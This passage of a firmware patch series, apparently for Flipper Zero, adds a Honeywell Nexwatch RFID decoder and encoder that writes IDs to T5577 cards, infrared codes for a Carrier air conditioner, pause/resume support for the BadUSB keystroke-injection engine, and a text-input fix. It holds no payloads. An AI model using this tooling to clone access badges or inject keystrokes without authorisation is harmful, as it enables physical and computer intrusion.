if(protocol_nexwatch_decoder_feed_internal( + !level, duration, protocol->corrupted_negative_encoded_data)) { + protocol_nexwatch_decoder_save( + protocol->data, protocol->corrupted_negative_encoded_data); + + result = true; + return result; + } + } + + return result; +}; + +bool protocol_nexwatch_encoder_start(ProtocolNexwatch* protocol) { + memset(protocol->encoded_data, 0, NEXWATCH_ENCODED_DATA_SIZE); + *(uint32_t*)&protocol->encoded_data[0] = 0b00000000000000000000000001010110; + bit_lib_copy_bits(protocol->encoded_data, 32, 32, protocol->data, 0); + bit_lib_copy_bits(protocol->encoded_data, 64, 32, protocol->data, 32); + + protocol->encoder.last_bit = + bit_lib_get_bit(protocol->encoded_data, NEXWATCH_ENCODED_BIT_SIZE - 1); + protocol->encoder.data_index = 0; + protocol->encoder.current_polarity = true; + protocol->encoder.pulse_phase = true; + protocol->encoder.bit_clock_index = 0; + + return true; +}; + +LevelDuration protocol_nexwatch_encoder_yield(ProtocolNexwatch* protocol) { + LevelDuration level_duration; + ProtocolNexwatchEncoder* encoder = &protocol->encoder; + + if(encoder->pulse_phase) { + level_duration = level_duration_make(encoder->current_polarity, 1); + encoder->pulse_phase = false; + } else { + level_duration = level_duration_make(!encoder->current_polarity, 1); + encoder->pulse_phase = true; + + encoder->bit_clock_index++; + if(encoder->bit_clock_index >= NEXWATCH_ENCODER_PULSES_PER_BIT) { + encoder->bit_clock_index = 0; + + bool current_bit = bit_lib_get_bit(protocol->encoded_data, encoder->data_index); + + if(current_bit != encoder->last_bit) { + encoder->current_polarity = !encoder->current_polarity; + } + + encoder->last_bit = current_bit; + + bit_lib_increment_index(encoder->data_index, NEXWATCH_ENCODED_BIT_SIZE); + } + } + + return level_duration; +}; + +void protocol_nexwatch_render_data(ProtocolNexwatch* protocol, FuriString* result) { + uint32_t id = 0; + uint32_t scrambled = bit_lib_get_bits_32(protocol->data, 8, 32); + protocol_nexwatch_descramble(&id, &scrambled); + + uint8_t m_idx; + uint8_t mode = bit_lib_get_bits(protocol->data, 40, 4); + uint8_t parity = bit_lib_get_bits(protocol->data, 44, 4); + uint8_t chk = bit_lib_get_bits(protocol->data, 48, 8); + for(m_idx = 0; m_idx < 3; m_idx++) { + magic_items[m_idx].chk = protocol_nexwatch_checksum(magic_items[m_idx].magic, id, parity); + if(magic_items[m_idx].chk == chk) { + break; + } + } + furi_string_printf(result, "ID: %lu, M:%u\r\nType: %s\r\n", id, mode, magic_items[m_idx].desc); +} + +bool protocol_nexwatch_write_data(ProtocolNexwatch* protocol, void* data) { + LFRFIDWriteRequest* request = (LFRFIDWriteRequest*)data; + bool result = false; + + protocol_nexwatch_encoder_start(protocol); + if(request->write_type == LFRFIDWriteTypeT5577) { + request->t5577.block[0] = LFRFID_T5577_MODULATION_PSK1 | LFRFID_T5577_BITRATE_RF_32 | + (3 << LFRFID_T5577_MAXBLOCK_SHIFT); + request->t5577.block[1] = bit_lib_get_bits_32(protocol->encoded_data, 0, 32); + request->t5577.block[2] = bit_lib_get_bits_32(protocol->encoded_data, 32, 32); + request->t5577.block[3] = bit_lib_get_bits_32(protocol->encoded_data, 64, 32); + request->t5577.blocks_to_write = 4; + result = true; + } + return result; +}; + +const ProtocolBase protocol_nexwatch = { + .name = "Nexwatch", + .manufacturer = "Honeywell", + .data_size = NEXWATCH_DECODED_DATA_SIZE, + .features = LFRFIDFeaturePSK, + .validate_count = 6, + .alloc = (ProtocolAlloc)protocol_nexwatch_alloc, + .free = (ProtocolFree)protocol_nexwatch_free, + .get_data = (ProtocolGetData)protocol_nexwatch_get_data, + .decoder = + { + .start = (ProtocolDecoderStart)protocol_nexwatch_decoder_start, + .feed = (ProtocolDecoderFeed)protocol_nexwatch_decoder_feed, + }, + .encoder = + { + .start = (ProtocolEncoderStart)protocol_nexwatch_encoder_start, + .yield = (ProtocolEncoderYield)protocol_nexwatch_encoder_yield, + }, + .render_data = (ProtocolRenderData)protocol_nexwatch_render_data, + .render_brief_data = (ProtocolRenderData)protocol_nexwatch_render_data, + .write_data = (ProtocolWriteData)protocol_nexwatch_write_data, +}; diff --git a/lib/lfrfid/protocols/protocol_nexwatch.h b/lib/lfrfid/protocols/protocol_nexwatch.h new file mode 100644 index 000000000..0872ca7dc --- /dev/null +++ b/lib/lfrfid/protocols/protocol_nexwatch.h @@ -0,0 +1,4 @@ +#pragma once +#include + +extern const ProtocolBase protocol_nexwatch; From f9390e0cbdf62e4b1c6309adff4940e655633b66 Mon Sep 17 00:00:00 2001 From: minchogaydarov <134236905+minchogaydarov@users.noreply.github.com> Date: Mon, 29 May 2023 10:04:38 +0100 Subject: [PATCH 075/100] Add Carrier 42QHB12D8S (#2707) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- assets/resources/infrared/assets/ac.ir | 36 ++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/assets/resources/infrared/assets/ac.ir b/assets/resources/infrared/assets/ac.ir index e06c95f71..142c49243 100644 --- a/assets/resources/infrared/assets/ac.ir +++ b/assets/resources/infrared/assets/ac.ir @@ -434,3 +434,39 @@ frequency: 38000 duty_cycle: 0.330000 data: 4401 4441 528 1629 529 550 528 1628 529 551 528 550 528 551 527 551 528 1629 529 1629 529 550 529 1630 528 551 528 549 530 550 529 551 528 549 529 550 529 1629 529 1628 530 549 530 1629 529 550 529 1628 529 1629 529 1631 527 1628 530 1628 529 1629 528 1628 530 1629 529 1629 529 1629 529 1629 528 1629 529 1629 529 1630 528 1629 529 1629 529 1628 529 1629 528 551 528 1629 529 550 529 550 530 548 529 1631 527 551 528 1629 529 5235 4402 4439 530 550 528 1629 529 549 530 1628 529 1629 529 1628 530 1629 529 549 530 550 529 1628 530 552 526 1628 529 1628 530 1628 530 1627 531 1628 529 1629 528 551 528 550 529 1628 530 550 528 1628 529 549 529 550 528 550 529 549 530 548 530 551 528 550 528 578 500 550 529 550 529 551 527 549 530 549 529 549 529 550 528 548 530 550 528 549 529 1629 528 550 529 1630 528 1628 530 1628 530 549 530 1628 529 549 529 # +# Model: Carrier 42QHB12D8S +name: Off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4467 4363 599 1556 599 478 599 1556 599 1558 597 505 572 505 572 1583 571 505 572 506 624 1531 653 423 651 426 624 1530 622 1532 572 505 572 1583 571 506 571 1584 571 1583 571 1584 571 1584 571 507 570 1585 570 1585 570 1585 570 508 569 508 569 508 592 485 570 1585 593 484 570 508 569 1586 569 1586 592 1563 593 485 569 508 592 485 592 485 570 508 569 508 570 508 569 508 569 1586 569 1586 569 1586 569 1586 569 1586 569 5187 4461 4371 568 1586 569 508 593 1562 593 1563 569 509 591 486 591 1563 569 508 592 486 592 1563 592 485 592 486 591 1563 592 1563 591 486 592 1564 591 486 592 1563 593 1563 591 1563 592 1564 592 485 592 1563 592 1563 592 1564 591 486 591 486 592 485 592 485 592 1563 592 486 591 486 592 1564 591 1563 592 1563 592 486 592 485 592 486 591 486 592 485 592 486 591 486 591 486 591 1563 592 1563 593 1563 591 1564 591 1563 591 +# +name: Dh +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4440 4390 571 1583 572 505 572 1583 596 1559 571 505 572 505 572 1583 596 481 596 481 597 1559 625 451 654 423 625 1529 595 1560 596 480 572 1583 572 505 596 482 594 483 571 1583 571 1584 571 1584 571 1584 571 1585 569 1585 593 1562 594 1561 593 485 569 508 593 484 592 485 593 484 592 485 592 1563 569 508 592 1562 592 485 570 1586 592 485 592 486 569 1586 592 485 569 1585 570 508 569 1586 569 508 569 1585 570 1586 569 5186 4438 4393 569 1585 593 485 592 1562 569 1585 569 508 569 508 569 1585 591 486 593 484 591 1563 591 486 591 486 590 1564 569 1585 569 508 593 1562 592 486 592 485 569 508 591 1563 592 1562 569 1586 569 1586 591 1563 592 1563 590 1564 591 1563 592 486 569 508 569 508 569 508 569 508 592 486 592 1563 568 508 593 1563 591 486 592 1563 569 508 592 486 592 1563 591 486 592 1563 592 485 592 1563 592 486 592 1563 591 1563 592 +# +name: Cool_hi +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4465 4365 598 1557 598 479 598 1557 598 1557 598 479 598 479 598 1556 599 479 598 507 593 1562 652 424 624 452 595 1559 595 1560 594 483 571 1584 594 1561 593 484 593 1562 593 1562 593 1562 593 1562 593 1562 593 1563 592 485 592 1562 593 484 593 485 592 485 592 485 592 485 592 485 592 485 592 485 592 485 592 485 592 485 592 485 592 485 592 485 592 1562 592 1563 592 1562 593 1562 592 1563 592 1563 592 1562 592 1563 592 5165 4439 4394 569 1586 592 485 569 1586 569 1586 569 508 569 508 593 1562 592 485 570 508 592 1563 592 485 594 484 569 1586 569 1586 569 508 569 1586 592 1563 569 508 592 1563 569 1586 592 1563 592 1563 569 1586 569 1585 569 508 569 1586 569 508 569 508 569 508 569 508 592 485 569 508 592 485 569 508 593 485 569 508 569 508 569 508 593 484 570 508 569 1586 593 1562 570 1586 569 1586 592 1563 569 1586 592 1563 592 1563 592 +# +name: Cool_lo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4465 4364 599 1556 599 479 598 1556 599 1556 599 478 599 479 598 1559 596 505 572 506 571 1584 653 424 624 452 571 1583 572 1583 571 506 571 1583 571 1584 571 506 571 1584 571 1585 570 1585 570 1585 592 1563 592 1562 593 485 592 1563 592 485 593 485 592 485 592 485 592 485 592 485 593 485 592 1563 592 485 592 1563 592 485 592 485 592 485 592 485 592 1563 592 485 592 1563 592 485 592 1563 592 1563 592 1563 592 1563 592 5164 4460 4372 592 1563 592 485 593 1563 592 1563 592 486 591 486 591 1563 592 485 592 485 592 1563 592 485 592 485 592 1563 592 1563 592 485 592 1563 592 1563 592 485 592 1563 592 1563 592 1563 592 1563 592 1563 592 1564 591 486 591 1563 591 485 592 485 592 485 592 485 592 485 592 485 592 485 592 1563 592 485 592 1563 591 486 591 485 592 486 591 485 592 1563 592 485 592 1563 592 485 592 1564 591 1563 592 1563 592 1563 592 +# +name: Heat_hi +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4440 4391 572 1583 572 505 572 1584 571 1583 572 505 572 505 572 1583 596 481 573 505 596 1559 626 451 655 422 625 1529 596 1559 572 505 572 1583 572 1582 572 505 572 1583 572 1583 571 1584 571 1584 571 1585 570 1584 594 484 593 1562 592 485 592 485 592 485 593 485 593 484 593 484 593 1562 593 484 593 1562 593 1563 592 1562 592 1563 592 485 593 484 592 485 593 1562 593 484 593 485 592 485 592 485 592 1562 593 1563 592 5163 4462 4370 592 1563 592 485 592 1563 592 1563 592 485 592 485 592 1563 592 485 592 485 593 1562 593 485 593 485 592 1563 592 1563 592 485 592 1562 593 1563 592 484 593 1563 592 1563 592 1563 592 1563 592 1563 592 1563 592 485 592 1563 592 485 592 485 592 485 592 485 592 485 593 485 592 1563 592 485 592 1563 592 1563 592 1563 592 1563 592 485 592 485 592 485 592 1563 591 485 592 486 591 485 592 485 593 1563 591 1563 593 +# +name: Heat_lo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4467 4390 571 1583 572 505 595 1560 572 1583 572 505 572 505 596 1559 596 482 596 481 597 1559 626 451 655 422 625 1529 596 1559 596 481 572 1582 573 1583 571 505 572 1583 595 1560 594 1561 592 1562 594 1561 593 1562 593 484 593 1563 592 485 592 485 592 485 592 485 593 484 593 485 592 485 592 1562 593 485 592 1563 592 1562 593 1562 594 483 593 485 593 1562 592 485 593 1561 593 484 593 484 593 484 593 1562 593 1562 592 5163 4462 4370 592 1563 593 484 592 1563 592 1563 592 485 592 485 593 1562 593 484 593 485 592 1562 593 484 593 485 592 1562 593 1562 593 485 592 1563 592 1563 592 485 592 1563 592 1562 593 1562 593 1563 592 1563 592 1562 592 485 593 1562 592 485 592 485 592 485 592 485 592 485 592 485 592 485 592 1563 592 485 592 1563 591 1563 592 1563 593 485 592 485 592 1563 592 485 592 1563 591 485 593 485 592 485 592 1563 592 1563 591 From 66961dab0657b8d1a7d1196f8b89b1021969ca59 Mon Sep 17 00:00:00 2001 From: Nikolay Minaylov Date: Mon, 29 May 2023 12:21:18 +0300 Subject: [PATCH 076/100] BadUSB: script execution pause (#2700) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- .../main/bad_usb/helpers/ducky_script.c | 96 ++++++++++++++----- .../main/bad_usb/helpers/ducky_script.h | 5 +- .../main/bad_usb/scenes/bad_usb_scene_work.c | 5 +- .../main/bad_usb/views/bad_usb_view.c | 82 ++++++++++++---- 4 files changed, 142 insertions(+), 46 deletions(-) diff --git a/applications/main/bad_usb/helpers/ducky_script.c b/applications/main/bad_usb/helpers/ducky_script.c index 47d8a7e05..5a834ad0a 100644 --- a/applications/main/bad_usb/helpers/ducky_script.c +++ b/applications/main/bad_usb/helpers/ducky_script.c @@ -16,10 +16,11 @@ (((uint8_t)x < 128) ? (script->layout[(uint8_t)x]) : HID_KEYBOARD_NONE) typedef enum { - WorkerEvtToggle = (1 << 0), - WorkerEvtEnd = (1 << 1), - WorkerEvtConnect = (1 << 2), - WorkerEvtDisconnect = (1 << 3), + WorkerEvtStartStop = (1 << 0), + WorkerEvtPauseResume = (1 << 1), + WorkerEvtEnd = (1 << 2), + WorkerEvtConnect = (1 << 3), + WorkerEvtDisconnect = (1 << 4), } WorkerEvtFlags; static const char ducky_cmd_id[] = {"ID"}; @@ -372,6 +373,7 @@ static int32_t bad_usb_worker(void* context) { BadUsbScript* bad_usb = context; BadUsbWorkerState worker_state = BadUsbStateInit; + BadUsbWorkerState pause_state = BadUsbStateRunning; int32_t delay_val = 0; FURI_LOG_I(WORKER_TAG, "Init"); @@ -406,24 +408,24 @@ static int32_t bad_usb_worker(void* context) { } else if(worker_state == BadUsbStateNotConnected) { // State: USB not connected uint32_t flags = bad_usb_flags_get( - WorkerEvtEnd | WorkerEvtConnect | WorkerEvtToggle, FuriWaitForever); + WorkerEvtEnd | WorkerEvtConnect | WorkerEvtStartStop, FuriWaitForever); if(flags & WorkerEvtEnd) { break; } else if(flags & WorkerEvtConnect) { worker_state = BadUsbStateIdle; // Ready to run - } else if(flags & WorkerEvtToggle) { + } else if(flags & WorkerEvtStartStop) { worker_state = BadUsbStateWillRun; // Will run when USB is connected } bad_usb->st.state = worker_state; } else if(worker_state == BadUsbStateIdle) { // State: ready to start uint32_t flags = bad_usb_flags_get( - WorkerEvtEnd | WorkerEvtToggle | WorkerEvtDisconnect, FuriWaitForever); + WorkerEvtEnd | WorkerEvtStartStop | WorkerEvtDisconnect, FuriWaitForever); if(flags & WorkerEvtEnd) { break; - } else if(flags & WorkerEvtToggle) { // Start executing script + } else if(flags & WorkerEvtStartStop) { // Start executing script DOLPHIN_DEED(DolphinDeedBadUsbPlayScript); delay_val = 0; bad_usb->buf_len = 0; @@ -442,7 +444,7 @@ static int32_t bad_usb_worker(void* context) { } else if(worker_state == BadUsbStateWillRun) { // State: start on connection uint32_t flags = bad_usb_flags_get( - WorkerEvtEnd | WorkerEvtConnect | WorkerEvtToggle, FuriWaitForever); + WorkerEvtEnd | WorkerEvtConnect | WorkerEvtStartStop, FuriWaitForever); if(flags & WorkerEvtEnd) { break; @@ -458,17 +460,17 @@ static int32_t bad_usb_worker(void* context) { storage_file_seek(script_file, 0, true); // extra time for PC to recognize Flipper as keyboard flags = furi_thread_flags_wait( - WorkerEvtEnd | WorkerEvtDisconnect | WorkerEvtToggle, + WorkerEvtEnd | WorkerEvtDisconnect | WorkerEvtStartStop, FuriFlagWaitAny | FuriFlagNoClear, 1500); if(flags == (unsigned)FuriFlagErrorTimeout) { // If nothing happened - start script execution worker_state = BadUsbStateRunning; - } else if(flags & WorkerEvtToggle) { + } else if(flags & WorkerEvtStartStop) { worker_state = BadUsbStateIdle; - furi_thread_flags_clear(WorkerEvtToggle); + furi_thread_flags_clear(WorkerEvtStartStop); } - } else if(flags & WorkerEvtToggle) { // Cancel scheduled execution + } else if(flags & WorkerEvtStartStop) { // Cancel scheduled execution worker_state = BadUsbStateNotConnected; } bad_usb->st.state = worker_state; @@ -476,18 +478,23 @@ static int32_t bad_usb_worker(void* context) { } else if(worker_state == BadUsbStateRunning) { // State: running uint16_t delay_cur = (delay_val > 1000) ? (1000) : (delay_val); uint32_t flags = furi_thread_flags_wait( - WorkerEvtEnd | WorkerEvtToggle | WorkerEvtDisconnect, FuriFlagWaitAny, delay_cur); + WorkerEvtEnd | WorkerEvtStartStop | WorkerEvtPauseResume | WorkerEvtDisconnect, + FuriFlagWaitAny, + delay_cur); delay_val -= delay_cur; if(!(flags & FuriFlagError)) { if(flags & WorkerEvtEnd) { break; - } else if(flags & WorkerEvtToggle) { + } else if(flags & WorkerEvtStartStop) { worker_state = BadUsbStateIdle; // Stop executing script furi_hal_hid_kb_release_all(); } else if(flags & WorkerEvtDisconnect) { worker_state = BadUsbStateNotConnected; // USB disconnected furi_hal_hid_kb_release_all(); + } else if(flags & WorkerEvtPauseResume) { + pause_state = BadUsbStateRunning; + worker_state = BadUsbStatePaused; // Pause } bad_usb->st.state = worker_state; continue; @@ -526,13 +533,13 @@ static int32_t bad_usb_worker(void* context) { furi_check((flags & FuriFlagError) == 0); } } else if(worker_state == BadUsbStateWaitForBtn) { // State: Wait for button Press - uint16_t delay_cur = (delay_val > 1000) ? (1000) : (delay_val); - uint32_t flags = furi_thread_flags_wait( - WorkerEvtEnd | WorkerEvtToggle | WorkerEvtDisconnect, FuriFlagWaitAny, delay_cur); + uint32_t flags = bad_usb_flags_get( + WorkerEvtEnd | WorkerEvtStartStop | WorkerEvtPauseResume | WorkerEvtDisconnect, + FuriWaitForever); if(!(flags & FuriFlagError)) { if(flags & WorkerEvtEnd) { break; - } else if(flags & WorkerEvtToggle) { + } else if(flags & WorkerEvtStartStop) { delay_val = 0; worker_state = BadUsbStateRunning; } else if(flags & WorkerEvtDisconnect) { @@ -542,21 +549,55 @@ static int32_t bad_usb_worker(void* context) { bad_usb->st.state = worker_state; continue; } + } else if(worker_state == BadUsbStatePaused) { // State: Paused + uint32_t flags = bad_usb_flags_get( + WorkerEvtEnd | WorkerEvtStartStop | WorkerEvtPauseResume | WorkerEvtDisconnect, + FuriWaitForever); + if(!(flags & FuriFlagError)) { + if(flags & WorkerEvtEnd) { + break; + } else if(flags & WorkerEvtStartStop) { + worker_state = BadUsbStateIdle; // Stop executing script + bad_usb->st.state = worker_state; + furi_hal_hid_kb_release_all(); + } else if(flags & WorkerEvtDisconnect) { + worker_state = BadUsbStateNotConnected; // USB disconnected + bad_usb->st.state = worker_state; + furi_hal_hid_kb_release_all(); + } else if(flags & WorkerEvtPauseResume) { + if(pause_state == BadUsbStateRunning) { + if(delay_val > 0) { + bad_usb->st.state = BadUsbStateDelay; + bad_usb->st.delay_remain = delay_val / 1000; + } else { + bad_usb->st.state = BadUsbStateRunning; + delay_val = 0; + } + worker_state = BadUsbStateRunning; // Resume + } else if(pause_state == BadUsbStateStringDelay) { + bad_usb->st.state = BadUsbStateRunning; + worker_state = BadUsbStateStringDelay; // Resume + } + } + continue; + } } else if(worker_state == BadUsbStateStringDelay) { // State: print string with delays - uint32_t flags = furi_thread_flags_wait( - WorkerEvtEnd | WorkerEvtToggle | WorkerEvtDisconnect, - FuriFlagWaitAny, + uint32_t flags = bad_usb_flags_get( + WorkerEvtEnd | WorkerEvtStartStop | WorkerEvtPauseResume | WorkerEvtDisconnect, bad_usb->stringdelay); if(!(flags & FuriFlagError)) { if(flags & WorkerEvtEnd) { break; - } else if(flags & WorkerEvtToggle) { + } else if(flags & WorkerEvtStartStop) { worker_state = BadUsbStateIdle; // Stop executing script furi_hal_hid_kb_release_all(); } else if(flags & WorkerEvtDisconnect) { worker_state = BadUsbStateNotConnected; // USB disconnected furi_hal_hid_kb_release_all(); + } else if(flags & WorkerEvtPauseResume) { + pause_state = BadUsbStateStringDelay; + worker_state = BadUsbStatePaused; // Pause } bad_usb->st.state = worker_state; continue; @@ -651,9 +692,14 @@ void bad_usb_script_set_keyboard_layout(BadUsbScript* bad_usb, FuriString* layou storage_file_free(layout_file); } -void bad_usb_script_toggle(BadUsbScript* bad_usb) { +void bad_usb_script_start_stop(BadUsbScript* bad_usb) { furi_assert(bad_usb); - furi_thread_flags_set(furi_thread_get_id(bad_usb->thread), WorkerEvtToggle); + furi_thread_flags_set(furi_thread_get_id(bad_usb->thread), WorkerEvtStartStop); +} + +void bad_usb_script_pause_resume(BadUsbScript* bad_usb) { + furi_assert(bad_usb); + furi_thread_flags_set(furi_thread_get_id(bad_usb->thread), WorkerEvtPauseResume); } BadUsbState* bad_usb_script_get_state(BadUsbScript* bad_usb) { diff --git a/applications/main/bad_usb/helpers/ducky_script.h b/applications/main/bad_usb/helpers/ducky_script.h index cff723942..c8705dbdd 100644 --- a/applications/main/bad_usb/helpers/ducky_script.h +++ b/applications/main/bad_usb/helpers/ducky_script.h @@ -16,6 +16,7 @@ typedef enum { BadUsbStateDelay, BadUsbStateStringDelay, BadUsbStateWaitForBtn, + BadUsbStatePaused, BadUsbStateDone, BadUsbStateScriptError, BadUsbStateFileError, @@ -42,7 +43,9 @@ void bad_usb_script_start(BadUsbScript* bad_usb); void bad_usb_script_stop(BadUsbScript* bad_usb); -void bad_usb_script_toggle(BadUsbScript* bad_usb); +void bad_usb_script_start_stop(BadUsbScript* bad_usb); + +void bad_usb_script_pause_resume(BadUsbScript* bad_usb); BadUsbState* bad_usb_script_get_state(BadUsbScript* bad_usb); diff --git a/applications/main/bad_usb/scenes/bad_usb_scene_work.c b/applications/main/bad_usb/scenes/bad_usb_scene_work.c index afc2e6f6f..ad33a124d 100644 --- a/applications/main/bad_usb/scenes/bad_usb_scene_work.c +++ b/applications/main/bad_usb/scenes/bad_usb_scene_work.c @@ -21,7 +21,10 @@ bool bad_usb_scene_work_on_event(void* context, SceneManagerEvent event) { } consumed = true; } else if(event.event == InputKeyOk) { - bad_usb_script_toggle(app->bad_usb_script); + bad_usb_script_start_stop(app->bad_usb_script); + consumed = true; + } else if(event.event == InputKeyRight) { + bad_usb_script_pause_resume(app->bad_usb_script); consumed = true; } } else if(event.type == SceneManagerEventTypeTick) { diff --git a/applications/main/bad_usb/views/bad_usb_view.c b/applications/main/bad_usb/views/bad_usb_view.c index 0ab4365b7..fa75b50d0 100644 --- a/applications/main/bad_usb/views/bad_usb_view.c +++ b/applications/main/bad_usb/views/bad_usb_view.c @@ -16,6 +16,7 @@ typedef struct { char file_name[MAX_NAME_LEN]; char layout[MAX_NAME_LEN]; BadUsbState state; + bool pause_wait; uint8_t anim_frame; } BadUsbModel; @@ -31,11 +32,7 @@ static void bad_usb_draw_callback(Canvas* canvas, void* _model) { if(strlen(model->layout) == 0) { furi_string_set(disp_str, "(default)"); } else { - furi_string_reset(disp_str); - furi_string_push_back(disp_str, '('); - for(size_t i = 0; i < strlen(model->layout); i++) - furi_string_push_back(disp_str, model->layout[i]); - furi_string_push_back(disp_str, ')'); + furi_string_printf(disp_str, "(%s)", model->layout); } elements_string_fit_width(canvas, disp_str, 128 - 2); canvas_draw_str( @@ -45,34 +42,42 @@ static void bad_usb_draw_callback(Canvas* canvas, void* _model) { canvas_draw_icon(canvas, 22, 24, &I_UsbTree_48x22); - if((model->state.state == BadUsbStateIdle) || (model->state.state == BadUsbStateDone) || - (model->state.state == BadUsbStateNotConnected)) { + BadUsbWorkerState state = model->state.state; + + if((state == BadUsbStateIdle) || (state == BadUsbStateDone) || + (state == BadUsbStateNotConnected)) { elements_button_center(canvas, "Run"); elements_button_left(canvas, "Config"); - } else if((model->state.state == BadUsbStateRunning) || (model->state.state == BadUsbStateDelay)) { + } else if((state == BadUsbStateRunning) || (state == BadUsbStateDelay)) { elements_button_center(canvas, "Stop"); - } else if(model->state.state == BadUsbStateWaitForBtn) { + if(!model->pause_wait) { + elements_button_right(canvas, "Pause"); + } + } else if(state == BadUsbStatePaused) { + elements_button_center(canvas, "End"); + elements_button_right(canvas, "Resume"); + } else if(state == BadUsbStateWaitForBtn) { elements_button_center(canvas, "Press to continue"); - } else if(model->state.state == BadUsbStateWillRun) { + } else if(state == BadUsbStateWillRun) { elements_button_center(canvas, "Cancel"); } - if(model->state.state == BadUsbStateNotConnected) { + if(state == BadUsbStateNotConnected) { canvas_draw_icon(canvas, 4, 26, &I_Clock_18x18); canvas_set_font(canvas, FontPrimary); canvas_draw_str_aligned(canvas, 127, 31, AlignRight, AlignBottom, "Connect"); canvas_draw_str_aligned(canvas, 127, 43, AlignRight, AlignBottom, "to USB"); - } else if(model->state.state == BadUsbStateWillRun) { + } else if(state == BadUsbStateWillRun) { canvas_draw_icon(canvas, 4, 26, &I_Clock_18x18); canvas_set_font(canvas, FontPrimary); canvas_draw_str_aligned(canvas, 127, 31, AlignRight, AlignBottom, "Will run"); canvas_draw_str_aligned(canvas, 127, 43, AlignRight, AlignBottom, "on connect"); - } else if(model->state.state == BadUsbStateFileError) { + } else if(state == BadUsbStateFileError) { canvas_draw_icon(canvas, 4, 26, &I_Error_18x18); canvas_set_font(canvas, FontPrimary); canvas_draw_str_aligned(canvas, 127, 31, AlignRight, AlignBottom, "File"); canvas_draw_str_aligned(canvas, 127, 43, AlignRight, AlignBottom, "ERROR"); - } else if(model->state.state == BadUsbStateScriptError) { + } else if(state == BadUsbStateScriptError) { canvas_draw_icon(canvas, 4, 26, &I_Error_18x18); canvas_set_font(canvas, FontPrimary); canvas_draw_str_aligned(canvas, 127, 33, AlignRight, AlignBottom, "ERROR:"); @@ -87,12 +92,12 @@ static void bad_usb_draw_callback(Canvas* canvas, void* _model) { canvas_draw_str_aligned( canvas, 127, 56, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); furi_string_reset(disp_str); - } else if(model->state.state == BadUsbStateIdle) { + } else if(state == BadUsbStateIdle) { canvas_draw_icon(canvas, 4, 26, &I_Smile_18x18); canvas_set_font(canvas, FontBigNumbers); canvas_draw_str_aligned(canvas, 114, 40, AlignRight, AlignBottom, "0"); canvas_draw_icon(canvas, 117, 26, &I_Percent_10x14); - } else if(model->state.state == BadUsbStateRunning) { + } else if(state == BadUsbStateRunning) { if(model->anim_frame == 0) { canvas_draw_icon(canvas, 4, 23, &I_EviSmile1_18x21); } else { @@ -105,13 +110,13 @@ static void bad_usb_draw_callback(Canvas* canvas, void* _model) { canvas, 114, 40, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); furi_string_reset(disp_str); canvas_draw_icon(canvas, 117, 26, &I_Percent_10x14); - } else if(model->state.state == BadUsbStateDone) { + } else if(state == BadUsbStateDone) { canvas_draw_icon(canvas, 4, 23, &I_EviSmile1_18x21); canvas_set_font(canvas, FontBigNumbers); canvas_draw_str_aligned(canvas, 114, 40, AlignRight, AlignBottom, "100"); furi_string_reset(disp_str); canvas_draw_icon(canvas, 117, 26, &I_Percent_10x14); - } else if(model->state.state == BadUsbStateDelay) { + } else if(state == BadUsbStateDelay) { if(model->anim_frame == 0) { canvas_draw_icon(canvas, 4, 23, &I_EviWaiting1_18x21); } else { @@ -129,6 +134,22 @@ static void bad_usb_draw_callback(Canvas* canvas, void* _model) { canvas_draw_str_aligned( canvas, 127, 50, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); furi_string_reset(disp_str); + } else if((state == BadUsbStatePaused) || (state == BadUsbStateWaitForBtn)) { + if(model->anim_frame == 0) { + canvas_draw_icon(canvas, 4, 23, &I_EviWaiting1_18x21); + } else { + canvas_draw_icon(canvas, 4, 23, &I_EviWaiting2_18x21); + } + canvas_set_font(canvas, FontBigNumbers); + furi_string_printf( + disp_str, "%u", ((model->state.line_cur - 1) * 100) / model->state.line_nb); + canvas_draw_str_aligned( + canvas, 114, 40, AlignRight, AlignBottom, furi_string_get_cstr(disp_str)); + furi_string_reset(disp_str); + canvas_draw_icon(canvas, 117, 26, &I_Percent_10x14); + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 127, 50, AlignRight, AlignBottom, "Paused"); + furi_string_reset(disp_str); } else { canvas_draw_icon(canvas, 4, 26, &I_Clock_18x18); } @@ -142,7 +163,27 @@ static bool bad_usb_input_callback(InputEvent* event, void* context) { bool consumed = false; if(event->type == InputTypeShort) { - if((event->key == InputKeyLeft) || (event->key == InputKeyOk)) { + if(event->key == InputKeyLeft) { + consumed = true; + furi_assert(bad_usb->callback); + bad_usb->callback(event->key, bad_usb->context); + } else if(event->key == InputKeyOk) { + with_view_model( + bad_usb->view, BadUsbModel * model, { model->pause_wait = false; }, true); + consumed = true; + furi_assert(bad_usb->callback); + bad_usb->callback(event->key, bad_usb->context); + } else if(event->key == InputKeyRight) { + with_view_model( + bad_usb->view, + BadUsbModel * model, + { + if((model->state.state == BadUsbStateRunning) || + (model->state.state == BadUsbStateDelay)) { + model->pause_wait = true; + } + }, + true); consumed = true; furi_assert(bad_usb->callback); bad_usb->callback(event->key, bad_usb->context); @@ -215,6 +256,9 @@ void bad_usb_set_state(BadUsb* bad_usb, BadUsbState* st) { { memcpy(&(model->state), st, sizeof(BadUsbState)); model->anim_frame ^= 1; + if(model->state.state == BadUsbStatePaused) { + model->pause_wait = false; + } }, true); } From 04f9811c6e1b017e5b776572d591369e33419ae2 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 29 May 2023 14:17:50 +0300 Subject: [PATCH 077/100] Fix crash when renaming files with long file name --- applications/services/gui/modules/text_input.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/services/gui/modules/text_input.c b/applications/services/gui/modules/text_input.c index 3e521c356..446730e95 100644 --- a/applications/services/gui/modules/text_input.c +++ b/applications/services/gui/modules/text_input.c @@ -175,7 +175,7 @@ static void 